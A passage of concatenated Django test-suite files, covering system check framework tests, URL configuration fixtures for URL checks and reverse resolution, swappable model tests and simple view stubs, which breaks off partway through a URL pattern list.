            'BACKEND': 'django.template.backends.django.DjangoTemplates',
            'OPTIONS': {
                'string_if_invalid': False,
            },
        },
        {
            'BACKEND': 'django.template.backends.django.DjangoTemplates',
            'OPTIONS': {
                'string_if_invalid': 42,
            },
        },
    ]

    @classmethod
    def setUpClass(cls):
        super(CheckTemplateStringIfInvalidTest, cls).setUpClass()
        cls.error1 = copy(E002)
        cls.error2 = copy(E002)
        string_if_invalid1 = cls.TEMPLATES_STRING_IF_INVALID[0]['OPTIONS']['string_if_invalid']
        string_if_invalid2 = cls.TEMPLATES_STRING_IF_INVALID[1]['OPTIONS']['string_if_invalid']
        cls.error1.msg = cls.error1.msg.format(string_if_invalid1, type(string_if_invalid1).__name__)
        cls.error2.msg = cls.error2.msg.format(string_if_invalid2, type(string_if_invalid2).__name__)

    @property
    def func(self):
        from django.core.checks.templates import check_string_if_invalid_is_string
        return check_string_if_invalid_is_string

    @override_settings(TEMPLATES=TEMPLATES_STRING_IF_INVALID)
    def test_string_if_invalid_not_string(self):
        self.assertEqual(self.func(None), [self.error1, self.error2])

    def test_string_if_invalid_first_is_string(self):
        TEMPLATES = deepcopy(self.TEMPLATES_STRING_IF_INVALID)
        TEMPLATES[0]['OPTIONS']['string_if_invalid'] = 'test'
        with self.settings(TEMPLATES=TEMPLATES):
            self.assertEqual(self.func(None), [self.error2])

    def test_string_if_invalid_both_are_strings(self):
        TEMPLATES = deepcopy(self.TEMPLATES_STRING_IF_INVALID)
        TEMPLATES[0]['OPTIONS']['string_if_invalid'] = 'test'
        TEMPLATES[1]['OPTIONS']['string_if_invalid'] = 'test'
        with self.settings(TEMPLATES=TEMPLATES):
            self.assertEqual(self.func(None), [])

    def test_string_if_invalid_not_specified(self):
        TEMPLATES = deepcopy(self.TEMPLATES_STRING_IF_INVALID)
        del TEMPLATES[1]['OPTIONS']['string_if_invalid']
        with self.settings(TEMPLATES=TEMPLATES):
            self.assertEqual(self.func(None), [self.error1])






from django.core.checks.compatibility.django_1_8_0 import \
    check_duplicate_template_settings
from django.test import SimpleTestCase
from django.test.utils import override_settings


class CheckDuplicateTemplateSettingsTest(SimpleTestCase):

    def test_not_raised_if_no_templates_setting(self):
        self.assertEqual(check_duplicate_template_settings(None), [])

    @override_settings(
        TEMPLATES=[{'BACKEND': 'django.template.backends.django.DjangoTemplates'}],
        TEMPLATE_DIRS=['/path/to/dirs'],
    )
    def test_duplicate_setting(self):
        result = check_duplicate_template_settings(None)
        self.assertEqual(result[0].id, '1_8.W001')

    @override_settings(
        TEMPLATES=[{'BACKEND': 'django.template.backends.django.DjangoTemplates'}],
        TEMPLATE_DIRS=['/path/to/dirs'],
        TEMPLATE_DEBUG=True,
    )
    def test_multiple_duplicate_settings(self):
        result = check_duplicate_template_settings(None)
        self.assertEqual(len(result), 1)
        self.assertIn('TEMPLATE_DIRS', result[0].msg)
        self.assertIn('TEMPLATE_DEBUG', result[0].msg)












from django.core import checks
from django.db import models
from django.test import SimpleTestCase
from django.test.utils import isolate_apps


@isolate_apps('check_framework')
class TestDeprecatedField(SimpleTestCase):
    def test_default_details(self):
        class MyField(models.Field):
            system_check_deprecated_details = {}

        class Model(models.Model):
            name = MyField()

        model = Model()
        self.assertEqual(model.check(), [
            checks.Warning(
                msg='MyField has been deprecated.',
                obj=Model._meta.get_field('name'),
                id='fields.WXXX',
            )
        ])

    def test_user_specified_details(self):
        class MyField(models.Field):
            system_check_deprecated_details = {
                'msg': 'This field is deprecated and will be removed soon.',
                'hint': 'Use something else.',
                'id': 'fields.W999',
            }

        class Model(models.Model):
            name = MyField()

        model = Model()
        self.assertEqual(model.check(), [
            checks.Warning(
                msg='This field is deprecated and will be removed soon.',
                hint='Use something else.',
                obj=Model._meta.get_field('name'),
                id='fields.W999',
            )
        ])


@isolate_apps('check_framework')
class TestRemovedField(SimpleTestCase):
    def test_default_details(self):
        class MyField(models.Field):
            system_check_removed_details = {}

        class Model(models.Model):
            name = MyField()

        model = Model()
        self.assertEqual(model.check(), [
            checks.Error(
                msg='MyField has been removed except for support in historical migrations.',
                obj=Model._meta.get_field('name'),
                id='fields.EXXX',
            )
        ])

    def test_user_specified_details(self):
        class MyField(models.Field):
            system_check_removed_details = {
                'msg': 'Support for this field is gone.',
                'hint': 'Use something else.',
                'id': 'fields.E999',
            }

        class Model(models.Model):
            name = MyField()

        model = Model()
        self.assertEqual(model.check(), [
            checks.Error(
                msg='Support for this field is gone.',
                hint='Use something else.',
                obj=Model._meta.get_field('name'),
                id='fields.E999',
            )
        ])






# -*- coding: utf-8 -*-
from __future__ import unicode_literals

import sys

from django.apps import apps
from django.core import checks
from django.core.checks import Error, Warning
from django.core.checks.registry import CheckRegistry
from django.core.management import call_command
from django.core.management.base import CommandError
from django.db import models
from django.test import SimpleTestCase
from django.test.utils import (
    isolate_apps, override_settings, override_system_checks,
)
from django.utils.encoding import force_text
from django.utils.six import StringIO

from .models import SimpleModel


class DummyObj(object):
    def __repr__(self):
        return "obj"


class SystemCheckFrameworkTests(SimpleTestCase):

    def test_register_and_run_checks(self):

        def f(**kwargs):
            calls[0] += 1
            return [1, 2, 3]

        def f2(**kwargs):
            return [4, ]

        def f3(**kwargs):
            return [5, ]

        calls = [0]

        # test register as decorator
        registry = CheckRegistry()
        registry.register()(f)
        registry.register("tag1", "tag2")(f2)
        registry.register("tag2", deploy=True)(f3)

        # test register as function
        registry2 = CheckRegistry()
        registry2.register(f)
        registry2.register(f2, "tag1", "tag2")
        registry2.register(f3, "tag2", deploy=True)

        # check results
        errors = registry.run_checks()
        errors2 = registry2.run_checks()
        self.assertEqual(errors, errors2)
        self.assertEqual(sorted(errors), [1, 2, 3, 4])
        self.assertEqual(calls[0], 2)

        errors = registry.run_checks(tags=["tag1"])
        errors2 = registry2.run_checks(tags=["tag1"])
        self.assertEqual(errors, errors2)
        self.assertEqual(sorted(errors), [4])

        errors = registry.run_checks(tags=["tag1", "tag2"], include_deployment_checks=True)
        errors2 = registry2.run_checks(tags=["tag1", "tag2"], include_deployment_checks=True)
        self.assertEqual(errors, errors2)
        self.assertEqual(sorted(errors), [4, 5])


class MessageTests(SimpleTestCase):

    def test_printing(self):
        e = Error("Message", hint="Hint", obj=DummyObj())
        expected = "obj: Message\n\tHINT: Hint"
        self.assertEqual(force_text(e), expected)

    def test_printing_no_hint(self):
        e = Error("Message", obj=DummyObj())
        expected = "obj: Message"
        self.assertEqual(force_text(e), expected)

    def test_printing_no_object(self):
        e = Error("Message", hint="Hint")
        expected = "?: Message\n\tHINT: Hint"
        self.assertEqual(force_text(e), expected)

    def test_printing_with_given_id(self):
        e = Error("Message", hint="Hint", obj=DummyObj(), id="ID")
        expected = "obj: (ID) Message\n\tHINT: Hint"
        self.assertEqual(force_text(e), expected)

    def test_printing_field_error(self):
        field = SimpleModel._meta.get_field('field')
        e = Error("Error", obj=field)
        expected = "check_framework.SimpleModel.field: Error"
        self.assertEqual(force_text(e), expected)

    def test_printing_model_error(self):
        e = Error("Error", obj=SimpleModel)
        expected = "check_framework.SimpleModel: Error"
        self.assertEqual(force_text(e), expected)

    def test_printing_manager_error(self):
        manager = SimpleModel.manager
        e = Error("Error", obj=manager)
        expected = "check_framework.SimpleModel.manager: Error"
        self.assertEqual(force_text(e), expected)

    def test_equal_to_self(self):
        e = Error("Error", obj=SimpleModel)
        self.assertEqual(e, e)

    def test_equal_to_same_constructed_check(self):
        e1 = Error("Error", obj=SimpleModel)
        e2 = Error("Error", obj=SimpleModel)
        self.assertEqual(e1, e2)

    def test_not_equal_to_different_constructed_check(self):
        e1 = Error("Error", obj=SimpleModel)
        e2 = Error("Error2", obj=SimpleModel)
        self.assertNotEqual(e1, e2)

    def test_not_equal_to_non_check(self):
        e = Error("Error", obj=DummyObj())
        self.assertNotEqual(e, 'a string')


def simple_system_check(**kwargs):
    simple_system_check.kwargs = kwargs
    return []


def tagged_system_check(**kwargs):
    tagged_system_check.kwargs = kwargs
    return [checks.Warning('System Check')]
tagged_system_check.tags = ['simpletag']


def deployment_system_check(**kwargs):
    deployment_system_check.kwargs = kwargs
    return [checks.Warning('Deployment Check')]
deployment_system_check.tags = ['deploymenttag']


class CheckCommandTests(SimpleTestCase):

    def setUp(self):
        simple_system_check.kwargs = None
        tagged_system_check.kwargs = None
        self.old_stdout, self.old_stderr = sys.stdout, sys.stderr
        sys.stdout, sys.stderr = StringIO(), StringIO()

    def tearDown(self):
        sys.stdout, sys.stderr = self.old_stdout, self.old_stderr

    @override_system_checks([simple_system_check, tagged_system_check])
    def test_simple_call(self):
        call_command('check')
        self.assertEqual(simple_system_check.kwargs, {'app_configs': None})
        self.assertEqual(tagged_system_check.kwargs, {'app_configs': None})

    @override_system_checks([simple_system_check, tagged_system_check])
    def test_given_app(self):
        call_command('check', 'auth', 'admin')
        auth_config = apps.get_app_config('auth')
        admin_config = apps.get_app_config('admin')
        self.assertEqual(simple_system_check.kwargs, {'app_configs': [auth_config, admin_config]})
        self.assertEqual(tagged_system_check.kwargs, {'app_configs': [auth_config, admin_config]})

    @override_system_checks([simple_system_check, tagged_system_check])
    def test_given_tag(self):
        call_command('check', tags=['simpletag'])
        self.assertIsNone(simple_system_check.kwargs)
        self.assertEqual(tagged_system_check.kwargs, {'app_configs': None})

    @override_system_checks([simple_system_check, tagged_system_check])
    def test_invalid_tag(self):
        with self.assertRaises(CommandError):
            call_command('check', tags=['missingtag'])

    @override_system_checks([simple_system_check])
    def test_list_tags_empty(self):
        call_command('check', list_tags=True)
        self.assertEqual('\n', sys.stdout.getvalue())

    @override_system_checks([tagged_system_check])
    def test_list_tags(self):
        call_command('check', list_tags=True)
        self.assertEqual('simpletag\n', sys.stdout.getvalue())

    @override_system_checks([tagged_system_check], deployment_checks=[deployment_system_check])
    def test_list_deployment_check_omitted(self):
        call_command('check', list_tags=True)
        self.assertEqual('simpletag\n', sys.stdout.getvalue())

    @override_system_checks([tagged_system_check], deployment_checks=[deployment_system_check])
    def test_list_deployment_check_included(self):
        call_command('check', deploy=True, list_tags=True)
        self.assertEqual('deploymenttag\nsimpletag\n', sys.stdout.getvalue())

    @override_system_checks([tagged_system_check], deployment_checks=[deployment_system_check])
    def test_tags_deployment_check_omitted(self):
        msg = 'There is no system check with the "deploymenttag" tag.'
        with self.assertRaisesMessage(CommandError, msg):
            call_command('check', tags=['deploymenttag'])

    @override_system_checks([tagged_system_check], deployment_checks=[deployment_system_check])
    def test_tags_deployment_check_included(self):
        call_command('check', deploy=True, tags=['deploymenttag'])
        self.assertIn('Deployment Check', sys.stderr.getvalue())

    @override_system_checks([tagged_system_check])
    def test_fail_level(self):
        with self.assertRaises(CommandError):
            call_command('check', fail_level='WARNING')


def custom_error_system_check(app_configs, **kwargs):
    return [Error('Error', id='myerrorcheck.E001')]


def custom_warning_system_check(app_configs, **kwargs):
    return [Warning('Warning', id='mywarningcheck.E001')]


class SilencingCheckTests(SimpleTestCase):

    def setUp(self):
        self.old_stdout, self.old_stderr = sys.stdout, sys.stderr
        self.stdout, self.stderr = StringIO(), StringIO()
        sys.stdout, sys.stderr = self.stdout, self.stderr

    def tearDown(self):
        sys.stdout, sys.stderr = self.old_stdout, self.old_stderr

    @override_settings(SILENCED_SYSTEM_CHECKS=['myerrorcheck.E001'])
    @override_system_checks([custom_error_system_check])
    def test_silenced_error(self):
        out = StringIO()
        err = StringIO()
        call_command('check', stdout=out, stderr=err)
        self.assertEqual(out.getvalue(), 'System check identified no issues (1 silenced).\n')
        self.assertEqual(err.getvalue(), '')

    @override_settings(SILENCED_SYSTEM_CHECKS=['mywarningcheck.E001'])
    @override_system_checks([custom_warning_system_check])
    def test_silenced_warning(self):
        out = StringIO()
        err = StringIO()
        call_command('check', stdout=out, stderr=err)
        self.assertEqual(out.getvalue(), 'System check identified no issues (1 silenced).\n')
        self.assertEqual(err.getvalue(), '')


class CheckFrameworkReservedNamesTests(SimpleTestCase):
    @isolate_apps('check_framework', kwarg_name='apps')
    @override_system_checks([checks.model_checks.check_all_models])
    def test_model_check_method_not_shadowed(self, apps):
        class ModelWithAttributeCalledCheck(models.Model):
            check = 42

        class ModelWithFieldCalledCheck(models.Model):
            check = models.IntegerField()

        class ModelWithRelatedManagerCalledCheck(models.Model):
            pass

        class ModelWithDescriptorCalledCheck(models.Model):
            check = models.ForeignKey(ModelWithRelatedManagerCalledCheck, models.CASCADE)
            article = models.ForeignKey(
                ModelWithRelatedManagerCalledCheck,
                models.CASCADE,
                related_name='check',
            )

        errors = checks.run_checks(app_configs=apps.get_app_configs())
        expected = [
            Error(
                "The 'ModelWithAttributeCalledCheck.check()' class method is "
                "currently overridden by 42.",
                obj=ModelWithAttributeCalledCheck,
                id='models.E020'
            ),
            Error(
                "The 'ModelWithRelatedManagerCalledCheck.check()' class method is "
                "currently overridden by %r." % ModelWithRelatedManagerCalledCheck.check,
                obj=ModelWithRelatedManagerCalledCheck,
                id='models.E020'
            ),
            Error(
                "The 'ModelWithDescriptorCalledCheck.check()' class method is "
                "currently overridden by %r." % ModelWithDescriptorCalledCheck.check,
                obj=ModelWithDescriptorCalledCheck,
                id='models.E020'
            ),
        ]
        self.assertEqual(errors, expected)






from django.core.checks.compatibility.django_1_10 import \
    check_duplicate_middleware_settings
from django.test import SimpleTestCase
from django.test.utils import override_settings


class CheckDuplicateMiddlwareSettingsTest(SimpleTestCase):

    @override_settings(MIDDLEWARE=[], MIDDLEWARE_CLASSES=['django.middleware.common.CommonMiddleware'])
    def test_duplicate_setting(self):
        result = check_duplicate_middleware_settings(None)
        self.assertEqual(result[0].id, '1_10.W001')

    @override_settings(MIDDLEWARE=None)
    def test_middleware_not_defined(self):
        result = check_duplicate_middleware_settings(None)
        self.assertEqual(len(result), 0)






from django.conf import settings
from django.core.checks.urls import (
    check_url_config, get_warning_for_invalid_pattern,
)
from django.test import SimpleTestCase
from django.test.utils import override_settings
from django.utils import six


class CheckUrlsTest(SimpleTestCase):
    @override_settings(ROOT_URLCONF='check_framework.urls.no_warnings')
    def test_no_warnings(self):
        result = check_url_config(None)
        self.assertEqual(result, [])

    @override_settings(ROOT_URLCONF='check_framework.urls.warning_in_include')
    def test_check_resolver_recursive(self):
        # The resolver is checked recursively (examining url()s in include()).
        result = check_url_config(None)
        self.assertEqual(len(result), 1)
        warning = result[0]
        self.assertEqual(warning.id, 'urls.W001')

    @override_settings(ROOT_URLCONF='check_framework.urls.include_with_dollar')
    def test_include_with_dollar(self):
        result = check_url_config(None)
        self.assertEqual(len(result), 1)
        warning = result[0]
        self.assertEqual(warning.id, 'urls.W001')
        expected_msg = "Your URL pattern '^include-with-dollar$' uses include with a regex ending with a '$'."
        self.assertIn(expected_msg, warning.msg)

    @override_settings(ROOT_URLCONF='check_framework.urls.contains_tuple')
    def test_contains_tuple_not_url_instance(self):
        result = check_url_config(None)
        warning = result[0]
        self.assertEqual(warning.id, 'urls.E004')
        six.assertRegex(self, warning.msg, (
            r"^Your URL pattern \('\^tuple/\$', <function <lambda> at 0x(\w+)>\) is "
            r"invalid. Ensure that urlpatterns is a list of url\(\) instances.$"
        ))

    @override_settings(ROOT_URLCONF='check_framework.urls.beginning_with_slash')
    def test_beginning_with_slash(self):
        result = check_url_config(None)
        self.assertEqual(len(result), 1)
        warning = result[0]
        self.assertEqual(warning.id, 'urls.W002')
        expected_msg = "Your URL pattern '/starting-with-slash/$' has a regex beginning with a '/'"
        self.assertIn(expected_msg, warning.msg)

    @override_settings(ROOT_URLCONF='check_framework.urls.name_with_colon')
    def test_name_with_colon(self):
        result = check_url_config(None)
        self.assertEqual(len(result), 1)
        warning = result[0]
        self.assertEqual(warning.id, 'urls.W003')
        expected_msg = "Your URL pattern '^$' [name='name_with:colon'] has a name including a ':'."
        self.assertIn(expected_msg, warning.msg)

    @override_settings(ROOT_URLCONF=None)
    def test_no_root_urlconf_in_settings(self):
        delattr(settings, 'ROOT_URLCONF')
        result = check_url_config(None)
        self.assertEqual(result, [])

    def test_get_warning_for_invalid_pattern_string(self):
        warning = get_warning_for_invalid_pattern('')[0]
        self.assertEqual(
            warning.hint,
            "Try removing the string ''. The list of urlpatterns should "
            "not have a prefix string as the first element.",
        )

    def test_get_warning_for_invalid_pattern_tuple(self):
        warning = get_warning_for_invalid_pattern((r'^$', lambda x: x))[0]
        self.assertEqual(warning.hint, "Try using url() instead of a tuple.")

    def test_get_warning_for_invalid_pattern_other(self):
        warning = get_warning_for_invalid_pattern(object())[0]
        self.assertIsNone(warning.hint)






import unittest

from django.core.checks import Tags, run_checks
from django.core.checks.registry import CheckRegistry
from django.db import connection
from django.test import TestCase, mock


class DatabaseCheckTests(TestCase):
    @property
    def func(self):
        from django.core.checks.database import check_database_backends
        return check_database_backends

    def test_database_checks_not_run_by_default(self):
        """
        `database` checks are only run when their tag is specified.
        """
        def f1(**kwargs):
            return [5]

        registry = CheckRegistry()
        registry.register(Tags.database)(f1)
        errors = registry.run_checks()
        self.assertEqual(errors, [])

        errors2 = registry.run_checks(tags=[Tags.database])
        self.assertEqual(errors2, [5])

    def test_database_checks_called(self):
        with mock.patch('django.db.backends.base.validation.BaseDatabaseValidation.check') as mocked_check:
            run_checks(tags=[Tags.database])
            self.assertTrue(mocked_check.called)

    @unittest.skipUnless(connection.vendor == 'mysql', 'Test only for MySQL')
    def test_mysql_strict_mode(self):
        good_sql_modes = [
            'STRICT_TRANS_TABLES,STRICT_ALL_TABLES',
            'STRICT_TRANS_TABLES',
            'STRICT_ALL_TABLES',
        ]
        for response in good_sql_modes:
            with mock.patch(
                'django.db.backends.utils.CursorWrapper.fetchone', create=True,
                return_value=(response,)
            ):
                self.assertEqual(self.func(None), [])

        bad_sql_modes = ['', 'WHATEVER']
        for response in bad_sql_modes:
            with mock.patch(
                'django.db.backends.utils.CursorWrapper.fetchone', create=True,
                return_value=(response,)
            ):
                # One warning for each database alias
                result = self.func(None)
                self.assertEqual(len(result), 2)
                self.assertEqual([r.id for r in result], ['mysql.W002', 'mysql.W002'])






from django.core.checks.caches import E001
from django.test import SimpleTestCase
from django.test.utils import override_settings


class CheckCacheSettingsAppDirsTest(SimpleTestCase):
    VALID_CACHES_CONFIGURATION = {
        'default': {
            'BACKEND': 'django.core.cache.backends.locmem.LocMemCache',
        },
    }
    INVALID_CACHES_CONFIGURATION = {
        'other': {
            'BACKEND': 'django.core.cache.backends.locmem.LocMemCache',
        },
    }

    @property
    def func(self):
        from django.core.checks.caches import check_default_cache_is_configured
        return check_default_cache_is_configured

    @override_settings(CACHES=VALID_CACHES_CONFIGURATION)
    def test_default_cache_included(self):
        """
        Don't error if 'default' is present in CACHES setting.
        """
        self.assertEqual(self.func(None), [])

    @override_settings(CACHES=INVALID_CACHES_CONFIGURATION)
    def test_default_cache_not_included(self):
        """
        Error if 'default' not present in CACHES setting.
        """
        self.assertEqual(self.func(None), [E001])






from django.conf.urls import include, url

urlpatterns = [
    url(r'^include-with-dollar$', include([])),
]






from django.conf.urls import include, url

urlpatterns = [
    url(r'^foo/', lambda x: x, name='foo'),
    # This dollar is ok as it is escaped
    url(r'^\$', include([
        url(r'^bar/$', lambda x: x, name='bar'),
    ])),
]






from django.conf.urls import include, url

urlpatterns = [
    url(r'^', include([
        url(r'^include-with-dollar$', include([])),
    ])),
]






from django.conf.urls import url

urlpatterns = [
    url(r'^$', lambda x: x, name='name_with:colon'),
]












from django.conf.urls import url

urlpatterns = [
    url(r'/starting-with-slash/$', lambda x: x),
]






urlpatterns = [
    (r'^tuple/$', lambda x: x),
]






from django.db import models


class Article(models.Model):
    title = models.CharField(max_length=100)
    publication_date = models.DateField()

    class Meta:
        swappable = 'TEST_ARTICLE_MODEL'


class AlternateArticle(models.Model):
    title = models.CharField(max_length=100)
    publication_date = models.DateField()
    byline = models.CharField(max_length=100)












from __future__ import unicode_literals

from swappable_models.models import Article

from django.contrib.auth.models import Permission
from django.contrib.contenttypes.models import ContentType
from django.core import management
from django.test import TestCase, override_settings
from django.utils.six import StringIO


class SwappableModelTests(TestCase):

    available_apps = [
        'swappable_models',
        'django.contrib.auth',
        'django.contrib.contenttypes',
    ]

    @override_settings(TEST_ARTICLE_MODEL='swappable_models.AlternateArticle')
    def test_generated_data(self):
        "Permissions and content types are not created for a swapped model"

        # Delete all permissions and content_types
        Permission.objects.filter(content_type__app_label='swappable_models').delete()
        ContentType.objects.filter(app_label='swappable_models').delete()

        # Re-run migrate. This will re-build the permissions and content types.
        new_io = StringIO()
        management.call_command('migrate', interactive=False, stdout=new_io)

        # Check that content types and permissions exist for the swapped model,
        # but not for the swappable model.
        apps_models = [(p.content_type.app_label, p.content_type.model)
                       for p in Permission.objects.all()]
        self.assertIn(('swappable_models', 'alternatearticle'), apps_models)
        self.assertNotIn(('swappable_models', 'article'), apps_models)

        apps_models = [(ct.app_label, ct.model)
                       for ct in ContentType.objects.all()]
        self.assertIn(('swappable_models', 'alternatearticle'), apps_models)
        self.assertNotIn(('swappable_models', 'article'), apps_models)

    @override_settings(TEST_ARTICLE_MODEL='swappable_models.article')
    def test_case_insensitive(self):
        "Model names are case insensitive. Check that model swapping honors this."
        Article.objects.all()
        self.assertIsNone(Article._meta.swapped)






from django.conf.urls import url

from .views import empty_view

urlpatterns = [
    url(r'^$', empty_view, name="named-url5"),
    url(r'^extra/(?P<extra>\w+)/$', empty_view, name="named-url6"),
    url(r'^(?P<one>[0-9]+)|(?P<two>[0-9]+)/$', empty_view),
]






from django.conf.urls import include, url

from . import views
from .utils import URLObject

testobj1 = URLObject('testapp', 'test-ns1')
testobj2 = URLObject('testapp', 'test-ns2')
default_testobj = URLObject('testapp', 'testapp')

otherobj1 = URLObject('nodefault', 'other-ns1')
otherobj2 = URLObject('nodefault', 'other-ns2')

newappobj1 = URLObject('newapp')

urlpatterns = [
    url(r'^normal/$', views.empty_view, name='normal-view'),
    url(r'^normal/(?P<arg1>[0-9]+)/(?P<arg2>[0-9]+)/$', views.empty_view, name='normal-view'),
    url(r'^resolver_match/$', views.pass_resolver_match_view, name='test-resolver-match'),

    url(r'^\+\\\$\*/$', views.empty_view, name='special-view'),

    url(r'^mixed_args/([0-9]+)/(?P<arg2>[0-9]+)/$', views.empty_view, name='mixed-args'),
    url(r'^no_kwargs/([0-9]+)/([0-9]+)/$', views.empty_view, name='no-kwargs'),

    url(r'^view_class/(?P<arg1>[0-9]+)/(?P<arg2>[0-9]+)/$', views.view_class_instance, name='view-class'),

    url(r'^unnamed/normal/(?P<arg1>[0-9]+)/(?P<arg2>[0-9]+)/$', views.empty_view),
    url(r'^unnamed/view_class/(?P<arg1>[0-9]+)/(?P<arg2>[0-9]+)/$', views.view_class_instance),

    url(r'^test1/', include(testobj1.urls)),
    url(r'^test2/', include(testobj2.urls)),
    url(r'^default/', include(default_testobj.urls)),

    url(r'^other1/', include(otherobj1.urls)),
    url(r'^other[246]/', include(otherobj2.urls)),

    url(r'^newapp1/', include(newappobj1.app_urls, 'new-ns1')),
    url(r'^new-default/', include(newappobj1.app_urls)),

    url(r'^app-included[135]/', include('urlpatterns_reverse.included_app_urls', namespace='app-ns1')),
    url(r'^app-included2/', include('urlpatterns_reverse.included_app_urls', namespace='app-ns2')),

    url(r'^ns-included[135]/', include('urlpatterns_reverse.included_namespace_urls', namespace='inc-ns1')),
    url(r'^ns-included2/', include('urlpatterns_reverse.included_namespace_urls', namespace='inc-ns2')),

    url(r'^app-included/', include('urlpatterns_reverse.included_namespace_urls', 'inc-app', 'inc-app')),

    url(r'^included/', include('urlpatterns_reverse.included_namespace_urls')),
    url(r'^inc(?P<outer>[0-9]+)/', include('urlpatterns_reverse.included_urls', namespace='inc-ns5')),
    url(r'^included/([0-9]+)/', include('urlpatterns_reverse.included_namespace_urls')),

    url(
        r'^ns-outer/(?P<outer>[0-9]+)/',
        include('urlpatterns_reverse.included_namespace_urls', namespace='inc-outer')
    ),

    url(r'^\+\\\$\*/', include('urlpatterns_reverse.namespace_urls', namespace='special')),
]






"""
Some extra URL patterns that are included at the top level.
"""

from django.conf.urls import include, url

from .views import empty_view

urlpatterns = [
    url(r'^e-places/([0-9]+)/$', empty_view, name='extra-places'),
    url(r'^e-people/(?P<name>\w+)/$', empty_view, name="extra-people"),
    url('', include('urlpatterns_reverse.included_urls2')),
    url(r'^prefix/(?P<prefix>\w+)/', include('urlpatterns_reverse.included_urls2')),
]






from functools import partial, update_wrapper

from django.contrib.auth.decorators import user_passes_test
from django.http import HttpResponse
from django.urls import reverse_lazy
from django.views.generic import RedirectView


def empty_view(request, *args, **kwargs):
    return HttpResponse('')


def absolute_kwargs_view(request, arg1=1, arg2=2):
    return HttpResponse('')


def defaults_view(request, arg1, arg2):
    pass


def nested_view(request):
    pass


def erroneous_view(request):
    import non_existent  # NOQA


def pass_resolver_match_view(request, *args, **kwargs):
    response = HttpResponse('')
    response.resolver_match = request.resolver_match
    return response

uncallable = None  # neither a callable nor a string


class ViewClass(object):
    def __call__(self, request, *args, **kwargs):
        return HttpResponse('')

view_class_instance = ViewClass()


class LazyRedirectView(RedirectView):
    url = reverse_lazy('named-lazy-url-redirected-to')


@user_passes_test(lambda u: u.is_authenticated, login_url=reverse_lazy('some-login-page'))
def login_required_view(request):
    return HttpResponse('Hello you')


def bad_view(request, *args, **kwargs):
    raise ValueError("I don't think I'm getting good value for this view")


empty_view_partial = partial(empty_view, template_name="template.html")
empty_view_nested_partial = partial(empty_view_partial, template_name="nested_partial.html")
empty_view_wrapped = update_wrapper(
    partial(empty_view, template_name="template.html"), empty_view,
)






# A URLs file that doesn't use the default
# from django.conf.urls import *
# import pattern.
from django.conf.urls import url

from .views import bad_view, empty_view

urlpatterns = [
    url(r'^test_view/$', empty_view, name="test_view"),
    url(r'^bad_view/$', bad_view, name="bad_view"),
]






from django.conf.urls import url

from .views import LazyRedirectView, empty_view, login_required_view

urlpatterns = [
    url(r'^redirected_to/$', empty_view, name='named-lazy-url-redirected-to'),
    url(r'^login/$', empty_view, name='some-login-page'),
    url(r'^login_required_view/$', login_required_view),
    url(r'^redirect/$', LazyRedirectView.as_view()),
]






from django.conf.urls import url

from .views import empty_view

urlpatterns = [
    url(r'^$', empty_view, name="inner-nothing"),
    url(r'^extra/(?P<extra>\w+)/$', empty_view, name="inner-extra"),
    url(r'^(?P<one>[0-9]+)|(?P<two>[0-9]+)/$', empty_view, name="inner-disjunction"),
]






from django.conf.urls import include, url

from .utils import URLObject
from .views import empty_view, view_class_instance

testobj3 = URLObject('testapp', 'test-ns3')
testobj4 = URLObject('testapp', 'test-ns4')

urlpatterns = [
    url(r'^normal/$', empty_view, name='inc-normal-view'),
    url(r'^normal/(?P<arg1>[0-9]+)/(?P<arg2>[0-9]+)/$', empty_view, name='inc-normal-view'),

    url(r'^\+\\\$\*/$', empty_view, name='inc-special-view'),

    url(r'^mixed_args/([0-9]+)/(?P<arg2>[0-9]+)/$', empty_view, name='inc-mixed-args'),
    url(r'^no_kwargs/([0-9]+)/([0-9]+)/$', empty_view, name='inc-no-kwargs'),

    url(r'^view_class/(?P<arg1>[0-9]+)/(?P<arg2>[0-9]+)/$', view_class_instance, name='inc-view-class'),

    url(r'^test3/', include(testobj3.urls)),
    url(r'^test4/', include(testobj4.urls)),
    url(r'^ns-included3/', include('urlpatterns_reverse.included_urls', namespace='inc-ns3')),
    url(r'^ns-included4/', include('urlpatterns_reverse.namespace_urls', namespace='inc-ns4')),
]






from django.conf.urls import include, url

from .views import (
    absolute_kwargs_view, defaults_view, empty_view, empty_view_nested_partial,
    empty_view_partial, empty_view_wrapped, nested_view,
)

other_patterns = [
    url(r'non_path_include/$', empty_view, name='non_path_include'),
    url(r'nested_path/$', nested_view),
]

urlpatterns = [
    url(r'^places/([0-9]+)/$', empty_view, name='places'),
    url(r'^places?/$', empty_view, name="places?"),
    url(r'^places+/$', empty_view, name="places+"),
    url(r'^places*/$', empty_view, name="places*"),
    url(r'^(?:places/)?$', empty_view, name="places2?"),
    url(r'^(?:places/)+$', empty_view, name="places2+"),
    url(r'^(?:places/)*$', empty_view, name="places2*"),
    url(r'^places/([0-9]+|[a-z_]+)/', empty_view, name="places3"),
    url(r'^places/(?P<id>[0-9]+)/$', empty_view, name="places4"),
    url(r'^people/(?P<name>\w+)/$', empty_view, name="people"),
    url(r'^people/(?:name/)', empty_view, name="people2"),
    url(r'^people/(?:name/(\w+)/)?', empty_view, name="people2a"),
    url(r'^people/(?P<name>\w+)-(?P=name)/$', empty_view, name="people_backref"),
    url(r'^optional/(?P<name>.*)/(?:.+/)?', empty_view, name="optional"),
    url(r'^optional/(?P<arg1>\d+)/(?:(?P<arg2>\d+)/)?', absolute_kwargs_view, name="named_optional"),
    url(r'^optional/(?P<arg1>\d+)/(?:(?P<arg2>\d+)/)?$', absolute_kwargs_view, name="named_optional_terminated"),
    url(r'^nested/noncapture/(?:(?P<p>\w+))$', empty_view, name='nested-noncapture'),
    url(r'^nested/capture/((\w+)/)?$', empty_view, name='nested-capture'),
    url(r'^nested/capture/mixed/((?P<p>\w+))$', empty_view, name='nested-mixedcapture'),
    url(r'^nested/capture/named/(?P<outer>(?P<inner>\w+)/)?$', empty_view, name='nested-namedcapture'),
    url(r'^hardcoded/$', empty_view, name="hardcoded"),
    url(r'^hardcoded/doc\.pdf$', empty_view, name="hardcoded2"),
    url(r'^people/(?P<state>\w\w)/(?P<name>\w+)/$', empty_view, name="people3"),
    url(r'^people/(?P<state>\w\w)/(?P<name>[0-9])/$', empty_view, name="people4"),
    url(r'^people/((?P<state>\w\w)/test)?/(\w+)/$', empty_view, name="people6"),
    url(r'^character_set/[abcdef0-9]/$', empty_view, name="range"),
    url(r'^character_set/[\w]/$', empty_view, name="range2"),
    url(r'^price/\$([0-9]+)/$', empty_view, name="price"),
    url(r'^price/[$]([0-9]+)/$', empty_view, name="price2"),
